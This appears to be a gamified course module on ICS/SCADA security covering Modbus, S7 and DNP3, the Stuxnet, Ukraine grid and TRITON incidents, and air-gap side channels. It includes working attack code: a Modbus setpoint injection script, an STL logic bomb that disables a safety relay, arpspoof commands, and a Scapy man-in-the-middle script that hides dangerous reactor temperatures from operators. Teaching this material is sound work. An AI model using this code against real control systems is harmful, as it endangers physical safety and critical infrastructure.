Industrial Control Systems (ICS) and SCADA networks are the backbone of critical
infrastructure—power grids that light our cities, water treatment that makes our water safe,
manufacturing lines that build our products, and transportation systems that move our goods.
Unlike IT security, where **Confidentiality** is king, in ICS, **Availability** and **Safety** are
paramount.
The Convergence Risk: As Operational Technology (OT) converges with IT (IIoT), air
gaps are evaporating. A ransomware infection in the corporate email server can now spread to the
factory floor and shut down production. The days of "security by obscurity" are over.
Week Learning Outcomes:
Dissect the Modbus/TCP protocol at the byte level.
Map an ICS network using the Purdue Model & IEC 62443.
Analyze the kill chains of Stuxnet, Ukraine Power Grid, and TRITON.
Inject malicious logic into PLC Ladder Logic (Siemens STL).
Bypass Air Gaps using side-channel attacks (FM/Ultrasonic).
Execute a Man-in-the-Middle attack on Modbus traffic.
1) The Architecture of Control (Purdue Model)
The "Purdue Enterprise Reference Architecture" (PERA) is the bible of ICS segmentation. It defines
levels of trust to prevent a hacker in HR (Level 4) from opening a valve in the reactor (Level 0).
[ PURDUE MODEL: DEFENSE IN DEPTH ]
LEVEL 5: ENTERPRISE (The Internet)
----------------------------------
LEVEL 4: BUSINESS LOGISTICS
(ERP, Email, HR, Scheduling, Printing)
----------------------------------
[ DMZ - Demilitarized Zone ]
| Jump Host (Citrix/RDP) |
| Patch Server |
| AV Server |
----------------------------------
LEVEL 3: OPERATIONS (Site Wide)
(Historian, Control Center, Domain Controller)
|
LEVEL 2: SUPERVISORY (Area Control)
(HMI, Engineering Workstations, Alarm Server)
|
LEVEL 1: CONTROL (Real Time)
(PLCs, RTUs, Variable Frequency Drives)
|
LEVEL 0: PROCESS (Physical)
(Sensors, Motors, Valves, Actuators)
Function: Allows operators to see the process and intervene (e.g., "Emergency
Stop").
Attack Vector: HMIs typically run standard Windows (often outdated XP/7). They are
vulnerable to EternalBlue, Phishing, and Screen Lockers (Ransomware).
Level 3: Operations (The Historian)
Devices: Historian Databases (PI System), Domain Controllers, Patch Servers.
Function: Long-term data storage and site-wide orchestration. This is where OT meets
IT.
Risk: If the Historian is connected to the Corporate Network (Level 4) for
reporting, it becomes a bridge for attackers to pivot down.
IEC 62443 Concept: Zones & Conduits
Modern standards replace "Levels" with "Zones".
Zone: A grouping of assets with similar security requirements (e.g., "Safety
Zone").
Conduit: The communication path between zones. You Firewall the CONDUIT, not
just the network border.
2) Protocol Deep Dive: The Insecure Legacy
Most ICS protocols were designed in the 1970s/80s where trust was implicit. "If you are valid enough
to plug a cable into the switch, you are valid enough to control the plant."
A) Modbus/TCP (Port 502)
Created in 1979 by Modicon. It is the de-facto standard of ICS. It reads and writes "Registers"
(16-bit integers) and "Coils" (1-bit booleans).
Byte Offset
Field
Size
Description
0-1
Transaction ID
2 Bytes
Random number to match request/response.
2-3
Protocol ID
2 Bytes
Always 00 00 for Modbus TCP.
4-5
Length
2 Bytes
Number of following bytes.
6
Unit ID
1 Byte
Slave Address (1-255). Useful if bridging TCP to Serial.
7
Function Code
1 Byte
Action: Read (03), Write Single (06), Write Multiple (16).
8...
Data
Variable
Register Addresses, Values, or Payload.
Python: Raw Socket Modbus Injection
# Building a Modbus Packet by Hand (No Libraries)
import socket
import struct
ip = "192.168.1.50"
port = 502
unit_id = 1 # The ID of the target PLC
# 1. Transaction Identifier (Random)
trans_id = b'\x12\x34'
# 2. Protocol Identifier (0 = Modbus)
proto_id = b'\x00\x00'
# 3. Length (Unit ID + Func Code + Data)
length = b'\x00\x06'
# 4. Modbus PDU (Protocol Data Unit)
# Function Code 06 (Write Single Register)
# Register Address 0001 (Setpoint Value)
# Data Value 03E8 (1000 decimal -> High Pressure!)
pdu = struct.pack('>BHH', unit_id, 6, 1, 1000)
packet = trans_id + proto_id + length + pdu
print(f"Sending Malicious Packet: {packet.hex()}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(packet)
response = s.recv(1024)
print(f"PLC Responded: {response.hex()}")
The Vulnerability: NO Authentication. NO Encryption. NO Integrity. Anyone who can
ping the PLC can control it.
B) Siemens S7Comm (Port 102)
Proprietary protocol used by Siemens S7-300/400/1200/1500 PLCs. Unlike Modbus, it has some "security"
layers, but older versions were purely cleartext.
Attack Vector: The S7 protocol allows "Stop CPU", "Start CPU", and "Download Block"
commands. Tools like snap7 can be used to stop a factory with 3 lines of Python.
C) DNP3 (Port 20000)
Used in Electric Utilities (Power Grid). It supports timestamps and "unsolicited responses" (Alarms).
Security: Secure DNP3 exists (adding HMAC), but is rarely deployed due to
complexity.
D) OPC-UA (Port 4840)
The "modern" replacement. Supports X.509 certificates and encryption.
Common Flaw: Most vendors ship it with "Security Mode: None" by default for
easy setup.
3) The Logic Bomb (PLC Attacks)
IT malware (Ransomware) encrypts files. OT malware (Stuxnet) modifies Control
Logic.
Ladder Logic Basics
PLCs run "Ladder Logic", a visual programming language resembling electrical schematics.
Sophisticated attackers don't just turn things off; they reprogram the controller to fail
later.
This requires understanding the PLC's bytecode (like STL for Siemens).
Malicious STL Injection
// OB1 (Main Cycle) - This runs every 10ms
CALL "Malware_Block" // Jump to hidden block
...
// "Malware_Block" - The Logic Bomb
L "System_Time" // Load current time
L T#2026-03-01 // Load trigger date
>=D // Compare Date
JCN END // If not date yet, Jump to END
// Payload: Disable Safeties and Overpressure
A "Safety_Relay" // Load Safety Status
R "Safety_Relay" // RESET (Turn Off) Safety
S "Pump_Speed" // SET Pump to Max Speed (Force Write)
END:
NOP 0
4) ICS Attack Case Studies: Incident Analysis
Incident A: Stuxnet (2010) - The Rubicon
Target: Natanz Uranium Enrichment Facility, Iran.
Stuxnet is the world's first "Cyber-Physical Weapon". It was designed to destroy centrifuges while
hiding the destruction from operators.
The Kill Chain
Delivery: Injected via USB sticks in the parking lot (Targeting Contractor
Laptops).
Propagation: Used 4 Zero-Day exploits (LNK vulnerability, Print Spooler, SMB)
to move laterally through Windows networks.
Discrimination: It checked for Step 7 software. If not found, it
did nothing (dormant).
Payload: It looked for specific Siemens S7-315 PLCs controlling VFDs running at
807Hz - 1210Hz (specific to isotope separation).
Destruction: It varied the frequency to induce mechanical resonance, shattering
the centrifuges.
Deception: It recorded 21 seconds of "Normal" sensor data and replayed it in a
loop to the HMI. Operators saw green lights while the plant tore itself apart.
Incident B: Ukraine Power Grid (2015) - The Blackout
Target: Kyivoblenergo Distribution Center.
The first confirmed hack to take down a power grid. 230,000 people lost power for 1-6 hours.
The Kill Chain
Access: Spear-phishing emails with malicious Word Macros (BlackEnergy malware).
Recon: Attackers dwelt in the network for 6 months, mapping the SCADA topology.
Attack (The Coordinator):
HMI hijack: Attackers used VNC to take over operator mice and manually
clicked "Open Breaker".
Firmware Kill: They pushed corrupt firmware to the Serial-to-Ethernet
gateways (Moxa devices), bricking them. This prevented remote recovery.
UPS Kill: They shut down the UPS systems for the control center,
blinding the operators in the dark.
TDoS: Telephony Denial of Service against the call center to prevent
customer reports.
Incident C: TRITON (2017) - The Murder Attempt
Target: Petro Rabigh Refinery, Saudi Arabia.
Significance: First malware to target Safety Instrumented Systems
(SIS). The goal was not to stop the plant, but to remove the safety net so a physical
explosion could occur.
Technical Detail: Targeted Triconex Safety Controllers using the proprietary
TriStation protocol (UDP 1502). It attempted to modify the firmware in memory. A bug in the malware
caused a watchdog fault, tripping the plant to safe mode—accidentally saving the facility.
5) Air Gap Bypassing
"But the plant is air-gapped! It's not on the internet."
Reality Check: Air gaps are a myth. Vendors use VPNs. Engineers use USB drives.
Maintenance laptops bridge networks.
Technique A: USB Propagation
Infect a USB drive. Wait for an engineer to plug it into the Engineering Workstation for a firmware
update or to copy logs.
Technique B: Side Channels (Academic Research)
Research by Ben-Gurion University shows exfiltration is possible via physics:
AirHopper: Modulating GPU fan speeds to emit FM radio waves (picked up by a
nearby phone).
BitWhisper: Using heat signatures (thermal throttling) to send bits between two
adjacent PC towers (one internet, one air-gapped).
Ultrasonic: Using the PC speaker (near-ultrasonic range) to transmit data to a
listening microphone.
LED-it-GO: Encoding data in the HDD activity LED blinking pattern (captured by
a drone/camera).
6) ICS Security Assessment & Tooling
Golden Rule: NEVER scan a production ICS network with `nmap -A` or Nessus. You will
likely crash older PLCs due to fragile TCP stacks.
Passive Discovery
Use passive listening tools that sniff the TAP/Mirror port.
Wireshark: Analyze protocols using dissectors (s7comm, modbus, dnp3).
GrassMarlin: Dedicated ICS mapper (NSA tool). Visualizes relationships between
IP addresses and protocols without sending packets.
Active Discovery (Careful!)
If you must scan, use ICS-specific scripts with conservative timing.
Attack Vector 2: Lateral Movement. Attackers dump LSASS memory on the HMI to get
cached Domain Admin credentials. From there, they pivot to the Historian (Level 3) and then the
Corporate Network (Level 4)—or vice-versa.
Guided Lab: The Meltdown
Objective: Simulate a "Thermal Runaway" event by performing a Man-in-the-Middle
(MITM) attack on Modbus traffic.
Scenario: You are on the same subnet as the PLC (192.168.1.50) and the HMI
(192.168.1.100). The PLC reports "Reactor Temperature". You want to spoof this value so the HMI sees
"Normal" while the reactor melts.
Step 1: ARP Poisoning
We need to force traffic to flow through our attacking machine.
Bash: Arpspoof
# Tell 192.168.1.50 (PLC) that I am .100 (HMI)
$ arpspoof -i eth0 -t 192.168.1.50 192.168.1.100
# Tell 192.168.1.100 (HMI) that I am .50 (PLC)
$ arpspoof -i eth0 -t 192.168.1.100 192.168.1.50
# Enable IP Forwarding so we don't drop the packets
$ echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2: Scapy Modbus Interceptor
We write a Python script using Scapy to sniff port 502 traffic and rewrite the payload on the fly.
Python: mitm_modbus.py
#!/usr/bin/env python3
from scapy.all import *
from scapy.contrib.modbus import ModbusTCP, ModbusPDU03ReadHoldingRegistersResponse
from netfilterqueue import NetfilterQueue
import struct
# CONFIG
TARGET_REG_ADDR = 10 # The register holding Temperature
FAKE_TEMP = 85 # The "Normal" temperature we want to show
REAL_DANGER = 200 # The actual temp is rising!
def process_packet(packet):
# Convert Netfilter packet to Scapy packet
scapy_pkt = IP(packet.get_payload())
if scapy_pkt.haslayer(ModbusTCP):
# We are looking for a RESPONSE from PLC to HMI
if scapy_pkt[TCP].sport == 502:
# Check if it has the Read Registers Response layer
if scapy_pkt.haslayer(ModbusPDU03ReadHoldingRegistersResponse):
print("[*] Intercepted Modbus Response!")
# Get the original register values
# Note: Scapy's Modbus support can be tricky; mostly raw manipulation is reliable
# Payload format: [TransID][ProtoID][Len][UnitID][FuncCode][ByteCount][RegVal1][RegVal2]...
# Simple Byte Replacement Strategy (Fragile but effective for simple lab)
# Let's say we see the Danger Value (00 C8 = 200)
original_payload = bytes(scapy_pkt[TCP].payload)
# We search for the bytes \x00\xC8 (200) and replace with \x00\x55 (85)
if b'\x00\xC8' in original_payload:
print(f" [+] FOUND DANGER TEMP (200). Supressing to {FAKE_TEMP}...")
new_payload = original_payload.replace(b'\x00\xC8', b'\x00\x55')
# Update Packet
scapy_pkt[TCP].payload = new_payload
del scapy_pkt[IP].len
del scapy_pkt[IP].chksum
del scapy_pkt[TCP].chksum
# Set the new payload back to the Netfilter packet
packet.set_payload(bytes(scapy_pkt))
packet.accept()
print("Starting Modbus MITM on Queue 1...")
# Requires iptables rule: iptables -I FORWARD -p tcp --sport 502 -j NFQUEUE --queue-num 1
nfqueue = NetfilterQueue()
nfqueue.bind(1, process_packet)
nfqueue.run()
Result: Real Packet: "Temp 200". Spoofed Packet: "Temp 85". The operator sees clear
skies while the facility burns.
XP REWARD: +600 XP (Entropy Agent)
Appendix A: Common ICS Ports
Port
Protocol
Usage
502/TCP
Modbus
Universal standard (Schneider, GE, etc)
102/TCP
S7Comm
Siemens PLCs (Step 7)
20000/TCP
DNP3
US Power Grid / Utilities
44818/TCP
EtherNet/IP
Rockwell Automation / Allen-Bradley
4840/TCP
OPC-UA
Modern IIoT Interoperability
47808/UDP
BACnet
Building Automation (HVAC, Access Control)
1911/TCP
Niagara
Tridium Building Automation (Fox Protocol)
9600/TCP
FINS
Omron PLCs
Appendix B: ICS Hardening Checklist
Appendix C: Polyglot Code Library
Modbus interaction in different languages.
Node.js (modbus-serial)
const ModbusRTU = require("modbus-serial");
const client = new ModbusRTU();
// Connect to PLC
client.connectTCP("192.168.1.50", { port: 502 })
.then(async () => {
console.log("Connected");
// Write True to Coil 5 (Turn on Pump)
await client.writeCoil(5, true);
// Read Register 10 (Temperature)
const val = await client.readHoldingRegisters(10, 1);
console.log("Temperature:", val.data[0]);
})
.catch(console.error);